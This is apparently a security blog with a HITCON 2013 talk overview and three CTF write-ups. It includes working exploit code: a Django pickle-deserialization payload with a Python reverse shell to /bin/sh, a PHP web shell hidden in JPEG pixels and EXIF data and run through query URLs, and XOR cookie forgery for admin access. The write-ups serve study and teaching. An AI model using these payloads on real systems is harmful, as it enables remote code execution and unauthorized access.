HITCON 2013 Overview

Cyber War

1. People's Republic of Cyber Warfare: Comparing China Iran & Russia Militarization of Cyberspace(駭客人民共和國: 中國伊朗跟俄羅斯網軍的分析與比較)
2. Global Cyber Espionage and Chinese Hacker Threats, Internet Survillance and PRISM(全球間諜：互聯網監控全球趨勢 棱鏡門與中國駭客威脅論)
3. APT1: Technical Backstage(APT1: 反攻網軍後台)
4. How South Korea Makes White-hat Hackers(南韓如何培養白帽駭客？)
5. How does Japan dea with Targeted Attack and SCADA Security(目標鎖定攻擊與工控系統安全：日本如何應對兩大趨勢)

Cyber War is the main topic of HITCON 2013. Hence many session about global cyber activity are included.
In first two presentation talk about national power of cyber war, include China, Iran and Russia. And also mention about chineese hacker and  Internet survillance of U.S.
Second, Paul Rascagneres from malware.lu share their experience to track APT1 hacker,which probable come from china.
Then, national strategy of Japan and Korean, which are two countries near TW, is mentioned. 

APT

1. APT defense from the view of security architecture(從系統設計建置面談 APT 防禦)
2. Visual Data Analytics - Graphing your Indicators(APT 特徵的視覺資料分析法)
3. Digital Eagle Eye System: Use Cyber Intelligence against APT Attacks(數位鷹眼系統: 以網路數位情資對抗 APT 攻擊)
4. APT Cyber Shuttle: From Automated Analysis to TTP Observation(APT網際飛梭：從自動化分析到拆解 APT 後台駭客活動)
5. Light & Shadow about Banking $ecurity @Japan(光與影 日本銀行業的資訊安全)

In HITCON 2013, APT is still one of hottest topic. In those session, management and strategy against APT is discussed. And some forensics technique are also proposed to face APT attack.
Notice that, the session "APT Cyber Shuttle: From Automated Analysis to TTP Observation" proposed by Xecure-Lab & Academia Sinica will give a session in Black Hat US 2013.

Malware

1. Building new weapons for malware analysts(建立惡意軟體分析的新武器)
2. Advance Malware Evasion and Hiding Techniques(惡意軟體的進階免殺技巧)
3. Static Analysis and Dynamic Instrumentation for Intelligent Exploit Analysis(靜態與動態智慧型漏洞文件分析系統)

Malware analysis is a old discussion problem. In this year, some session about malware are also included.

Mobile

1. Escaping Android Dynamic Analysis; Chinese New Year Train Ticket Ordering Day(逃離安卓動態檢測 & 訂票助手一日談)
2. Dex Education 201: Anti-Emulators(深入Dalvik Dex教學:反制模擬器)
3. Android Hooking Attack
4. Review of Security Vulnerabilities on the Android Platform(Android平臺安全性漏洞回顧)
5. GSM Security Research using Open Soruce Tools(以開源軟體進行GSM安全研究)

With exponent usage of mobile device, sessions about mobile are also increasing. The first two sessions mention about how malware evade security analysis mechanism. Then the following two sessions is about technique employed by malware. Especially, "Review of Security Vulnerabilities on the Android Platform" ,proposed by 肖梓航 Claud, which overview the android vulnerabilities in current year is worthy to read.

Exploit & Vulnerability

1. Life of Coder: The adventure through the landscape of bugs(程序員的蟲洞漂流)
2. Analysis on the EPATHOBJ Exploit(請謹慎編碼，哪怕它只是一句錯誤處理— 來自 win32k!EPATHOBJ::pprFlattenRec 漏洞的啟示)
3. Killing AV in x64(戳戳防毒軟體死穴)
4. 0-Day Easy Talk - Happy Fuzzing Internet Explorer(0-Day 輕鬆談 - Happy Fuzzing Internet Explorer)
5. How can i have 100 0day for just 1day(超級祕訣 - 一天擁有 100 個 0day!)
6. Exploiting JRE (JRE安全机制与漏洞挖掘研究)

Exploit and Vulnerability is an interesting topic this year. An 0 day sharing activity is also include in this year's HITCON.
In first three sessions, the authors analysis some known exploit and  share their implementation. The fourth session, the author demonstrate the 0-day he found and share his experience.
The fifth talk present an idea to fuzz numerous of application at once. The last one session conclude java vulnerabilities in current day and the direction to fuzz java platform.

Others

1. The undisclosed files of incidents by the data scientist(資料科學家未曾公開之資安研究事件簿)
2. OS X Rootkits Stuff(那些洞，我們一起追的 OS X Rootkits)
3. Spears and shields on online game(線上遊戲矛盾大對決)
4. Breaking image CAPTCHA for fun(CAPTCHA 好好玩)
5. Protocol and physical analysis of EMV POS devices.(EMV晶片卡POS裝置的實體與溝通協定分析)
6. Browser and Local Zone(瀏覽器和本地域)

The session "The undisclosed files of incidents by the data scientist" talk about some research topic of professor 陳昇瑋. Social network and malicious phone call are both special and interesting topic.

Also web security are widely discussed in Black Hat 2013, there are less topic about web security in this year's HITCON.  

HITCON 2013 Write Up： Pwned 500

In this problem, a django website was given with it's source code available here. Browsing all the files in the repo, we can find two thing interesting in settings.py.

1. The session engine is "django.contrib.sessions.backends.signed_cookies"
2. The SECRET_KEY  is also provided in source code.

When signed_cookies is used, every cookie with sessionid field will treated as  serialized data. Then pickle is used to deserialize. While pickle library is unsafe once it is not apply to ordinary type. So we can follow the document here and complete the attack process. Note that reference document also provide reference code which is wealthy to read.

With following python code, we can convert connback.py into pickle format and invoke the program once pickle.loads() is called to de-serialize.

code = b64(open('connback.py').read())

class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

And we can prepare a reverse shell as follow

socket.setdefaulttimeout(60)
sok = None
try:
    sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sok.connect((host,port))
    sok.send('!P0Wn! Congratulation !!\n') 
    save = [ os.dup(i) for i in range(0,3) ]
    os.dup2(sok.fileno(),0)
    os.dup2(sok.fileno(),1)
    os.dup2(sok.fileno(),2)
    shell = subprocess.call(["/bin/sh","-i"])
    [ os.dup2(save[i],i) for i in range(0,3)]
    [ os.close(save[i]) for i in range(0,3)]
    os.close(sok.fileno())
except Exception:
    pass

Finally, we start a nc for reverse shell to connect and excute exploit.py to retrieve return shell.

bletchley@Viking:~/WorkSpace/2013_Django/pwp-master$ python exploit.py '1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk' http://vuln-django.orange.tw
Sending payload, check you listenner

ForbiddenBITS CTF 2013 Write Up : Web 600 Imafreak

Imafreak

In order to practice for wargame, I choose this problem from ForbiddenBITS CTF 2013 and reconstruct this environment. Also some environments are different, the solution are identical. 

Problem Description 

In this problem, the website is provided. There are two pages in this website, an view.php and upload.php.

Take a briefly view of upload.php, this page contains a form to upload image file. With no any parameters,  view.php only show "wrong id" string. There is also a hint "Hint6[Freak]:~)".

Solution

Firstly, Following the hint, we can access view.php~ and view the cource code. Source code can be found here.
The following piece code is vulnerable.

$_GET['id']=str_replace(".","",$_GET['id']);       
$_GET['id']=str_replace("/","",$_GET['id']);
$_GET['id']=str_replace("\\","",$_GET['id']);
if(!empty($_GET['id']) && @file_exists('upload/'.$_GET['id'].'.jpg')){
    $img=file_get_contents('upload/'.$_GET['id'].'.jpg');
    $notFound="";
    $exif_ifd0 = read_exif_data('upload/'.$_GET['id'].'.jpg','IFD0' ,0);
    if (@array_key_exists('Model', $exif_ifd0)) {
        $camModel = $exif_ifd0['Model'];
    } else { $camModel = $notFound; }
        $imgx = 'upload/'.$_GET['id'].'.jpg';
        $imgHand = ImageCreateFromJPEG($imgx);
        $imgSize = GetImageSize($imgx);
        $imgWidth = $imgSize[0];
        $imgHeight = $imgSize[1];
 
        $dd="";
        for ($l = 0; $l < $imgHeight; $l++) {
            for ($c = 0; $c < $imgWidth; $c++) {
                $pxlCor = ImageColorAt($imgHand,$c,$l);
                $pxlCorArr = ImageColorsForIndex($imgHand, $pxlCor);
                $dd.=chr($pxlCorArr["red"]);
            }
        }
        $filex="secretstoreddata/"."secret".($camModel);
        $fp=fopen($filex, 'w');
        fwrite($fp, $dd);
        fclose($fp);
}                                

Therefore we can observe that this php read the image in upload directory and save the red part into secretstoreddata directory. If we can control the content and file extension, then we can inject some code and execute arbitrary code.

We start from file extension, the file extension comes from read_exif_data().  Function read_exif_data() return  EXIF headers from a JPEG file, which is used to maintain some metadata of digital camera.Since EXIF data can be modified, we can modify it and control file extension by exiv2.

File content can be construct by some image library such as python's PIL and php's Image Processing and Generation. Here we following the program in this write up as following.

';
$width = strlen($shell);
// create image using true color
$img = imagecreatetruecolor($width, 1);
for ($x = 0; $x < $width; $x++) {
    // get ascii value of shellcode
    $value = ord($shell[$x]);
    // set a pixel using the ascii
    $color = imagecolorexact($img, $value, $value, $value);
    imagesetpixel($img, $x, 0, $color);
}
// save image using 100% quality
imagejpeg($img, 'imafreak.jpg', 100);
// add Model metadata using exiv2 tool
system('src/exiv2 -M "add Exif.Image.Model .php" imafreak.jpg');
?>                      

After executing this php program, the jpeg file will be generated. Then we access to

http://140.113.216.151:10180/Imafreak/view.php?id=imafreak

Then we send the request to generated php program as follow.

http://140.113.216.151:10180/Imafreak/secretstoreddata/ea5d2f1c4608232e07d3aa3d998e5135.php?c=ls

We can find that there is key.php file in secretstoreddata dir. So we continue to read this file and finally get the key.

http://140.113.216.151:10180/Imafreak/secretstoreddata/ea5d2f1c4608232e07d3aa3d998e5135.php?c=cat%20key.php

 

note

In July 16 2013, a technique blog talk about a malware which emplaoy similar technique.
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html 

DEFCON 21 CTF Writeup：3dub 1

3dub 1：badmedicine

In this problem, we only see a login form.

After we login with some username. We get the login successful page.

But it show that "the key is only for the admin"

And if we try to login with admin. The message "admin login disabled" showed.

Then we return to login by other account and observe the behavior of web page by tamper data.

With tamper data, we observe the cookie "username" was set.

After try to login with different username

admin1 : 09c8259ca01f

admiN  : 09c8259c80

We can find that most part of cookie are the same and only differ lightly.

Therefore we can guess that cookies are encrypt by xor operator.

Finally we can find the cookie of admin

admin : 09c8259ca0

Then we change the value of cookie and resend the page to get the key.

reference

there are some write up about this problem.

http://forum4hackers.blogspot.tw/2013/06/defcon-2013-3dub-1-2-and-4-web-writeup.html

http://blogs.univ-poitiers.fr/e-laize/2013/06/17/dc21_3dub_1/

https://cesena.ing2.unibo.it/2013/06/17/def-con-2013-badmedicine-3dub-2/

http://scoding.de/defcon-ctf-2013-writeup-3dub-1/

http://nullify-ctf.blogspot.tw/2013/06/3dub-1-def-con-quals-2013-writeup.html